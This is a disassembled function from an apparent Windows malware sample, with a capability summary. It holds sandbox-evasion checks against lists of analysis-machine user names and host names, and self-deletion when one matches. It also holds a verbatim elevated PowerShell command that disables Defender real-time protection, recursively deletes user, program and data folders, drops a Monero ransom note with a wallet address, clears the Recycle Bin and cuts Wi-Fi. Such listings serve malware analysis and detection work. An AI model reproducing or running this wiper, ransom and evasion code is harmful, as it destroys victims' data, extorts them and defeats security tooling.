Function at 0x1400011c0
Capabilities:
Check for sandbox username or hostname
Create process on windows
Delete file
Get hostname
Get session user name
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
push rbp
lea rbp, [rsp - 0x1250]
mov eax, 0x1350
call fcn.140003170
sub rsp, rax
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x1240], rax
call qword [sym.imp.KERNEL32.dll_GetTickCount64]
cmp rax, 0x927c0
jae 0x140001228
mov r8d, 0x104
lea rdx, [rbp + 0xe20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0xe20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
xor eax, eax
jmp 0x140001e0e
lea rdx, str.WDAGUtilityAccount
lea rcx, [rbp + 0x5c0]
call fcn.140001eb0
nop
lea rdx, str.Abby
lea rcx, [rbp + 0x5e0]
call fcn.140001eb0
nop
lea rdx, str.hmarc
lea rcx, [rbp + 0x600]
call fcn.140001eb0
nop
lea rdx, str.patex
lea rcx, [rbp + 0x620]
call fcn.140001eb0
nop
lea rdx, str.RDhJ0CNFevzX
lea rcx, [rbp + 0x640]
call fcn.140001eb0
nop
lea rdx, str.kEecfMwgj
lea rcx, [rbp + 0x660]
call fcn.140001eb0
nop
lea rdx, str.Frank
lea rcx, [rbp + 0x680]
call fcn.140001eb0
nop
lea rdx, str.8Nl0ColNQ5bq
lea rcx, [rbp + 0x6a0]
call fcn.140001eb0
nop
lea rdx, str.Lisa
lea rcx, [rbp + 0x6c0]
call fcn.140001eb0
nop
lea rdx, str.John
lea rcx, [rbp + 0x6e0]
call fcn.140001eb0
nop
lea rdx, str.george
lea rcx, [rbp + 0x700]
call fcn.140001eb0
nop
lea rdx, str.PxmdUOpVyx
lea rcx, [rbp + 0x720]
call fcn.140001eb0
nop
lea rdx, str.8VizSM
lea rcx, [rbp + 0x740]
call fcn.140001eb0
nop
lea rdx, str.w0fjuOVmCcP5A
lea rcx, [rbp + 0x760]
call fcn.140001eb0
nop
lea rdx, str.lmVwjj9b
lea rcx, [rbp + 0x780]
call fcn.140001eb0
nop
lea rdx, str.PqONjHVwexsS
lea rcx, [rbp + 0x7a0]
call fcn.140001eb0
nop
lea rdx, str.3u2v9m8
lea rcx, [rbp + 0x7c0]
call fcn.140001eb0
nop
lea rdx, str.Julia
lea rcx, [rbp + 0x7e0]
call fcn.140001eb0
nop
lea rdx, str.HEUeRzl
lea rcx, [rbp + 0x800]
call fcn.140001eb0
nop
lea rdx, str.fred
lea rcx, [rbp + 0x820]
call fcn.140001eb0
nop
lea rdx, str.server
lea rcx, [rbp + 0x840]
call fcn.140001eb0
nop
lea rdx, str.BvJChRPnsxn
lea rcx, [rbp + 0x860]
call fcn.140001eb0
nop
lea rdx, str.Harry_Johnson
lea rcx, [rbp + 0x880]
call fcn.140001eb0
nop
lea rdx, str.SqgFOf3G
lea rcx, [rbp + 0x8a0]
call fcn.140001eb0
nop
lea rdx, str.Lucas
lea rcx, [rbp + 0x8c0]
call fcn.140001eb0
nop
lea rdx, str.mike
lea rcx, [rbp + 0x8e0]
call fcn.140001eb0
nop
lea rdx, str.PateX
lea rcx, [rbp + 0x900]
call fcn.140001eb0
nop
lea rdx, str.h7dk1xPr
lea rcx, [rbp + 0x920]
call fcn.140001eb0
nop
lea rdx, str.Louise
lea rcx, [rbp + 0x940]
call fcn.140001eb0
nop
lea rdx, str.User01
lea rcx, [rbp + 0x960]
call fcn.140001eb0
nop
lea rdx, str.test
lea rcx, [rbp + 0x980]
call fcn.140001eb0
nop
lea rdx, str.RGzcBUyrznReg
lea rcx, [rbp + 0x9a0]
call fcn.140001eb0
nop
lea rdx, str.aiden
lea rcx, [rbp + 0x9c0]
call fcn.140001eb0
nop
lea rdx, [0x1400046bc]
lea rcx, [rbp + 0x9e0]
call fcn.140001eb0
nop
lea rdx, str.Vmware
lea rcx, [rbp + 0xa00]
call fcn.140001eb0
nop
lea rdx, str.vmware
lea rcx, [rbp + 0xa20]
call fcn.140001eb0
nop
lea rdx, str.VMWARE
lea rcx, [rbp + 0xa40]
call fcn.140001eb0
nop
lea rdx, str.virustotal
lea rcx, [rbp + 0xa60]
call fcn.140001eb0
nop
lea rdx, str.Virustotal
lea rcx, [rbp + 0xa80]
call fcn.140001eb0
nop
lea rdx, str.Virtualbox
lea rcx, [rbp + 0xaa0]
call fcn.140001eb0
nop
lea rdx, str.virtualbox
lea rcx, [rbp + 0xac0]
call fcn.140001eb0
nop
lea rdx, str.Server
lea rcx, [rbp + 0xae0]
call fcn.140001eb0
nop
lea rdx, str.Admin
lea rcx, [rbp + 0xb00]
call fcn.140001eb0
nop
lea rdx, str.admin
lea rcx, [rbp + 0xb20]
call fcn.140001eb0
nop
lea rdx, str.User
lea rcx, [rbp + 0xb40]
call fcn.140001eb0
nop
lea rdx, str.user
lea rcx, [rbp + 0xb60]
call fcn.140001eb0
nop
lea rdx, str.google
lea rcx, [rbp + 0xb80]
call fcn.140001eb0
nop
lea rdx, str.Google
lea rcx, [rbp + 0xba0]
call fcn.140001eb0
nop
lea rdx, str.Administrator
lea rcx, [rbp + 0xbc0]
call fcn.140001eb0
nop
lea rdx, str.administrator
lea rcx, [rbp + 0xbe0]
call fcn.140001eb0
nop
lea rdx, str.Triage
lea rcx, [rbp + 0xc00]
call fcn.140001eb0
nop
lea rdx, str.triage
lea rcx, [rbp + 0xc20]
call fcn.140001eb0
nop
lea rdx, str.Discord
lea rcx, [rbp + 0xc40]
call fcn.140001eb0
nop
lea rdx, str.discord
lea rcx, [rbp + 0xc60]
call fcn.140001eb0
nop
lea rdx, str.Username
lea rcx, [rbp + 0xc80]
call fcn.140001eb0
nop
lea rdx, str.username
lea rcx, [rbp + 0xca0]
call fcn.140001eb0
nop
lea rdx, str.users
lea rcx, [rbp + 0xcc0]
call fcn.140001eb0
nop
lea rdx, str.Users
lea rcx, [rbp + 0xce0]
call fcn.140001eb0
nop
lea rdx, str.microsoft
lea rcx, [rbp + 0xd00]
call fcn.140001eb0
nop
lea rdx, str.Microsoft
lea rcx, [rbp + 0xd20]
call fcn.140001eb0
nop
lea rdx, str.Windows
lea rcx, [rbp + 0xd40]
call fcn.140001eb0
nop
lea rdx, str.windows
lea rcx, [rbp + 0xd60]
call fcn.140001eb0
nop
lea rdx, str.Windows10
lea rcx, [rbp + 0xd80]
call fcn.140001eb0
nop
lea rdx, str.windows10
lea rcx, [rbp + 0xda0]
call fcn.140001eb0
nop
lea rdx, str.emilk
lea rcx, [rbp + 0xdc0]
call fcn.140001eb0
nop
lea rdx, str.janko
lea rcx, [rbp + 0xde0]
call fcn.140001eb0
nop
lea rdx, str.BEE7370C_8C0C_4
lea rcx, [rbp - 0x20]
call fcn.140001eb0
nop
lea rdx, str.DESKTOP_NAKFFMT
lea rcx, [rbp]
call fcn.140001eb0
nop
lea rdx, str.WIN_5E07COS9ALR
lea rcx, [rbp + 0x20]
call fcn.140001eb0
nop
lea rdx, str.B30F0242_1C6A_4
lea rcx, [rbp + 0x40]
call fcn.140001eb0
nop
lea rdx, str.DESKTOP_VRSQLAG
lea rcx, [rbp + 0x60]
call fcn.140001eb0
nop
lea rdx, str.Q9IATRKPRH
lea rcx, [rbp + 0x80]
call fcn.140001eb0
nop
lea rdx, str.XC64ZB
lea rcx, [rbp + 0xa0]
call fcn.140001eb0
nop
lea rdx, str.DESKTOP_D019GDM
lea rcx, [rbp + 0xc0]
call fcn.140001eb0
nop
lea rdx, str.DESKTOP_WI8CLET
lea rcx, [rbp + 0xe0]
call fcn.140001eb0
nop
lea rdx, str.SERVER1
lea rcx, [rbp + 0x100]
call fcn.140001eb0
nop
lea rdx, str.LISA_PC
lea rcx, [rbp + 0x120]
call fcn.140001eb0
nop
lea rdx, str.JOHN_PC
lea rcx, [rbp + 0x140]
call fcn.140001eb0
nop
lea rdx, str.DESKTOP_B0T93D6
lea rcx, [rbp + 0x160]
call fcn.140001eb0
nop
lea rdx, str.DESKTOP_1PYKP29
lea rcx, [rbp + 0x180]
call fcn.140001eb0
nop
lea rdx, str.DESKTOP_1Y2433R
lea rcx, [rbp + 0x1a0]
call fcn.140001eb0
nop
lea rdx, str.WILEYPC
lea rcx, [rbp + 0x1c0]
call fcn.140001eb0
nop
lea rdx, str.WORK
lea rcx, [rbp + 0x1e0]
call fcn.140001eb0
nop
lea rdx, str.6C4E733F_C2D9_4
lea rcx, [rbp + 0x200]
call fcn.140001eb0
nop
lea rdx, str.RALPHS_PC
lea rcx, [rbp + 0x220]
call fcn.140001eb0
nop
lea rdx, str.DESKTOP_WG3MYJS
lea rcx, [rbp + 0x240]
call fcn.140001eb0
nop
lea rdx, str.DESKTOP_7XC6GEZ
lea rcx, [rbp + 0x260]
call fcn.140001eb0
nop
lea rdx, str.DESKTOP_5OV9S0O
lea rcx, [rbp + 0x280]
call fcn.140001eb0
nop
lea rdx, str.QarZhrdBpj
lea rcx, [rbp + 0x2a0]
call fcn.140001eb0
nop
lea rdx, str.ORELEEPC
lea rcx, [rbp + 0x2c0]
call fcn.140001eb0
nop
lea rdx, str.ARCHIBALDPC
lea rcx, [rbp + 0x2e0]
call fcn.140001eb0
nop
lea rdx, str.JULIA_PC
lea rcx, [rbp + 0x300]
call fcn.140001eb0
nop
lea rdx, str.d1bnJkfVlH
lea rcx, [rbp + 0x320]
call fcn.140001eb0
nop
lea rdx, str.NETTYPC
lea rcx, [rbp + 0x340]
call fcn.140001eb0
nop
lea rdx, str.DESKTOP_BUGIO
lea rcx, [rbp + 0x360]
call fcn.140001eb0
nop
lea rdx, str.DESKTOP_CBGPFEE
lea rcx, [rbp + 0x380]
call fcn.140001eb0
nop
lea rdx, str.SERVER_PC
lea rcx, [rbp + 0x3a0]
call fcn.140001eb0
nop
lea rdx, str.TIQIYLA9TW5M
lea rcx, [rbp + 0x3c0]
call fcn.140001eb0
nop
lea rdx, str.DESKTOP_KALVINO
lea rcx, [rbp + 0x3e0]
call fcn.140001eb0
nop
lea rdx, str.COMPNAME_4047
lea rcx, [rbp + 0x400]
call fcn.140001eb0
nop
lea rdx, str.DESKTOP_19OLLTD
lea rcx, [rbp + 0x420]
call fcn.140001eb0
nop
lea rdx, str.DESKTOP_DE369SE
lea rcx, [rbp + 0x440]
call fcn.140001eb0
nop
lea rdx, str.EA8C2E2A_D017_4
lea rcx, [rbp + 0x460]
call fcn.140001eb0
nop
lea rdx, str.AIDANPC
lea rcx, [rbp + 0x480]
call fcn.140001eb0
nop
lea rdx, str.LUCAS_PC
lea rcx, [rbp + 0x4a0]
call fcn.140001eb0
nop
lea rdx, str.MARCI_PC
lea rcx, [rbp + 0x4c0]
call fcn.140001eb0
nop
lea rdx, str.ACEPC
lea rcx, [rbp + 0x4e0]
call fcn.140001eb0
nop
lea rdx, str.MIKE_PC
lea rcx, [rbp + 0x500]
call fcn.140001eb0
nop
lea rdx, str.DESKTOP_IAPKN1P
lea rcx, [rbp + 0x520]
call fcn.140001eb0
nop
lea rdx, str.DESKTOP_NTU7VUO
lea rcx, [rbp + 0x540]
call fcn.140001eb0
nop
lea rdx, str.LOUISE_PC
lea rcx, [rbp + 0x560]
call fcn.140001eb0
nop
lea rdx, str.T00917
lea rcx, [rbp + 0x580]
call fcn.140001eb0
nop
lea rdx, str.test42
lea rcx, [rbp + 0x5a0]
call fcn.140001eb0
nop
mov dword [rbp - 0x70], 0x101
mov dword [rbp - 0x6c], 0x10
lea rdx, [rbp - 0x70]
lea rcx, [rbp + 0x1030]
call qword [sym.imp.ADVAPI32.dll_GetUserNameW]
test eax, eax
je 0x140001c44
lea rdx, [rbp + 0x1030]
lea rcx, [rbp - 0x68]
call fcn.140001eb0
nop
lea r9, [rbp + 0x5c0]
mov rdi, qword [rbp - 0x50]
mov r10, qword [rbp - 0x58]
mov rbx, qword [rbp - 0x68]
nop dword [rax + rax]
lea rcx, [rbp - 0x68]
cmp rdi, 7
cmova rcx, rbx
mov r8, r9
cmp qword [r9 + 0x18], 7
jbe 0x140001b59
mov r8, qword [r9]
mov rdx, qword [r9 + 0x10]
cmp rdx, r10
jne 0x140001bf5
test rdx, rdx
je 0x140001b84
sub r8, rcx
nop
movzx eax, word [rcx]
cmp word [r8 + rcx], ax
jne 0x140001bf5
add rcx, 2
sub rdx, 1
jne 0x140001b70
lea rax, [rbp + 0xe00]
cmp r9, rax
je 0x140001c09
mov r8d, 0x104
lea rdx, [rbp + 0xe20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0xe20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
cmp rdi, 7
jbe 0x140001bee
lea rdx, [rdi*2 + 2]
cmp rdx, 0x1000
mov rax, rbx
jb 0x140001be6
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001d3b
mov rcx, rbx
call fcn.14000239c
xor ebx, ebx
jmp 0x140001dd6
add r9, 0x20
lea rax, [rbp + 0xe00]
cmp r9, rax
jne 0x140001b40
cmp rdi, 7
jbe 0x140001c44
lea rdx, [rdi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140001c3c
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001d3b
mov rcx, rbx
call fcn.14000239c
lea rdx, [rbp - 0x6c]
lea rcx, [rbp + 0xe00]
call qword [sym.imp.KERNEL32.dll_GetComputerNameW]
test eax, eax
je 0x140001d4a
lea rdx, [rbp + 0xe00]
lea rcx, [rbp - 0x48]
call fcn.140001eb0
nop
lea r9, [rbp - 0x20]
mov rdi, qword [rbp - 0x30]
mov r10, qword [rbp - 0x38]
mov rbx, qword [rbp - 0x48]
nop
lea rax, [rbp - 0x48]
cmp rdi, 7
cmova rax, rbx
mov r8, r9
cmp qword [r9 + 0x18], 7
jbe 0x140001c99
mov r8, qword [r9]
mov rdx, qword [r9 + 0x10]
cmp rdx, r10
jne 0x140001cf8
test rdx, rdx
je 0x140001cc4
sub r8, rax
nop word [rax + rax]
movzx ecx, word [rax]
cmp word [r8 + rax], cx
jne 0x140001cf8
add rax, 2
sub rdx, 1
jne 0x140001cb0
lea rax, [rbp + 0x5c0]
cmp r9, rax
je 0x140001d0c
mov r8d, 0x104
lea rdx, [rbp + 0xe20]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rbp + 0xe20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
nop
jmp 0x140001bb3
add r9, 0x20
lea rax, [rbp + 0x5c0]
cmp r9, rax
jne 0x140001c80
cmp rdi, 7
jbe 0x140001d4a
lea rdx, [rdi*2 + 2]
mov rax, rbx
cmp rdx, 0x1000
jb 0x140001d42
add rdx, 0x27
mov rbx, qword [rbx - 8]
sub rax, rbx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140001d42
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
mov rcx, rbx
call fcn.14000239c
mov dword [rsp + 0x20], 0x70
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rsp + 0x24], xmm0
movups xmmword [rsp + 0x34], xmm0
movups xmmword [rsp + 0x44], xmm0
movups xmmword [rsp + 0x54], xmm0
movups xmmword [rsp + 0x64], xmm0
movups xmmword [rsp + 0x74], xmm0
mov qword [rbp - 0x7c], rax
mov dword [rbp - 0x74], eax
lea rax, str.runas
mov qword [rsp + 0x30], rax
lea rax, str.powershell.exe
mov qword [rsp + 0x38], rax
lea rax, str.powershell__Command__Set_MpPreference__DisableRealtimeMonitoring__true__Remove_Item__Path__Env:USERPROFILE__Force__Recurse__Remove_Item__Path__Env:APPDATA__Force__Recurse__Remove_Item__Path__Env:PROGRAMFILES__Force__Recurse__Remove_Item__Path__Env:PROGRAMDATA__Force__Recurse__Remove_Item__Path__Env:TMP__Force__Recurse_Your_computer_has_been_compromised__FOLLOW_THESE_STEPS:_Pay_20__USD_worth_of_monero_to_this_wallet_address__0.17_monero_:_44XffAweuJAVTfp4g6LR2EaBNqMDGLK4q5svvTp8i7jJVGTVteJwqfY7JimS5fnFjmPjuqvJyVb7iW5WoKVggkkrUTxv6Rk__IF_THE_RANSOM_ISNT_PAID_ALL_UR_PASSWORDS_AND_FILES_WILL_BE_LEAKED_ONLINE_AND_COMPROMISED_____Out_File__FilePath_C:Compromised.txt__Start_Process__FilePath_C:Compromised.txt__Clear_RecycleBin__Force__netsh_wlan_disconnect_
mov qword [rsp + 0x40], rax
xor ebx, ebx
mov dword [rsp + 0x50], ebx
lea rcx, [rsp + 0x20]
call qword [sym.imp.SHELL32.dll_ShellExecuteExA]
test eax, eax
jne 0x140001dd6
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cerr]
call fcn.140002000
mov rcx, rax
lea rdx, [0x1400021b0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov ebx, 1
lea r9, [0x140001e40]
mov edx, 0x20
lea r8d, [rdx + 0xf]
lea rcx, [rbp - 0x20]
call fcn.1400022cc
nop
lea r9, [0x140001e40]
mov edx, 0x20
lea r8d, [rdx + 0x22]
lea rcx, [rbp + 0x5c0]
call fcn.1400022cc
mov eax, ebx
mov rcx, qword [rbp + 0x1240]
xor rcx, rsp
call fcn.140002270
lea r11, [rsp + 0x1350]
mov rbx, qword [r11 + 0x10]
mov rdi, qword [r11 + 0x18]
mov rsp, r11
pop rbp
ret